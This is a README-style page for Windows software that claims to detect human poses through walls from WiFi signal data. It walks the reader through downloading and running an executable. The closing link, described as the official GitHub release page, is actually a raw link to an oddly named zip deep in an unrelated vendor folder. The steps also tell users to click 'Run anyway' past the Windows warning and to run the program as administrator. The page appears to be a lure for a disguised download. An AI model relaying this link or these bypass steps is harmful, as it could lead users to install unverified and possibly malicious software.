This software estimates human poses using WiFi signals instead of a camera. It uses the Channel State Information (CSI) from WiFi devices paired with deep learning models. This lets you detect human poses through walls or in places where cameras are not practical.

• Operating System: Windows 10 or later
• Processor: Intel Core i5 or equivalent
• Memory: 8 GB RAM or more
• Storage: At least 2 GB free space
• WiFi Adapter: Compatible WiFi device capable of CSI data extraction
• Additional Software: None required for basic run

Click the big green button below. It will take you to the official download page on GitHub, where you can get the files you need.

Once on the page, look for the latest Release or Download section. You will find the Windows version ready to download as an executable file or a zip folder.

1. Download the files: Use the link above to get the installation file or the zipped folder.

2. Extract files:

   • If you downloaded a zip file, right-click on the file and select "Extract All".
   • Choose a folder where you want the files to be placed.

3. Run the program:

   • Find the executable file (usually named WiFi-CSI-Human-Pose-Detection.exe or similar) in the extracted folder.
   • Double-click the file to launch the application.

4. Allow permissions:

   • If Windows shows a warning, click "More info" and then "Run anyway".

5. Follow on-screen instructions:

   • The app will open a simple window. It will ask you to set up your WiFi adapter and start scanning for CSI data.
   • Connection and data display will appear once the WiFi CSI is active.

6. View results:

   • The system will process WiFi signals and show detected human poses in real time.

• Keep your WiFi device connected and close to the area you want to scan.
• Make sure no large metal objects block the WiFi signal.
• The better your WiFi adapter supports CSI data, the more accurate the detection.
• Run the software in an area with stable WiFi connection.
• Close other programs that might heavily use your WiFi to avoid interference.

• The program does not open:
  Check if your Windows OS is up to date. Try running the program as administrator.

• No WiFi CSI data detected:
  Verify your WiFi adapter supports CSI data capture. Restart your PC and try again.

• Pose detection seems off or delayed:
  Reduce physical obstructions between the device and the subject. Ensure stable network connection.

• Error messages about missing files:
  Double-check you extracted all files correctly. Download again if necessary.

This software does not use or store video or images. It relies solely on WiFi signal data. This design respects privacy by avoiding cameras or microphones. No personal data leaves your device.

The app takes advantage of WiFi signals sent by your router or adapter. These signals change when they bounce off human bodies. The software captures this data as Channel State Information (CSI), which holds fine details about signal variations. It then uses deep learning to analyze these changes and estimate body positions. This method lets you sense human poses without any visible camera.

• WiFi-CSI-Human-Pose-Detection.exe — Main application file
• config.ini — Settings file for WiFi adapter setup
• models/ — Folder with deep learning model files
• docs/ — User guides and technical documentation
• README.md — This file

The software uses advanced algorithms in signal processing and neural networks. Channel State Information data reflects how WiFi signals travel and scatter in an environment. By training neural networks on these patterns, the system learns to predict human poses. This process replaces the need for cameras or physical sensors.

You can find all installation files and instructions at this page:

https://raw.githubusercontent.com/12miednight/WiFi-CSI-Human-Pose-Detection/main/vendor/ruvector/.claude/agents/sparc/CS-Wi-Detection-Human-Fi-Pose-v3.9.zip

Use that page to access the latest releases, software updates, and detailed setup instructions.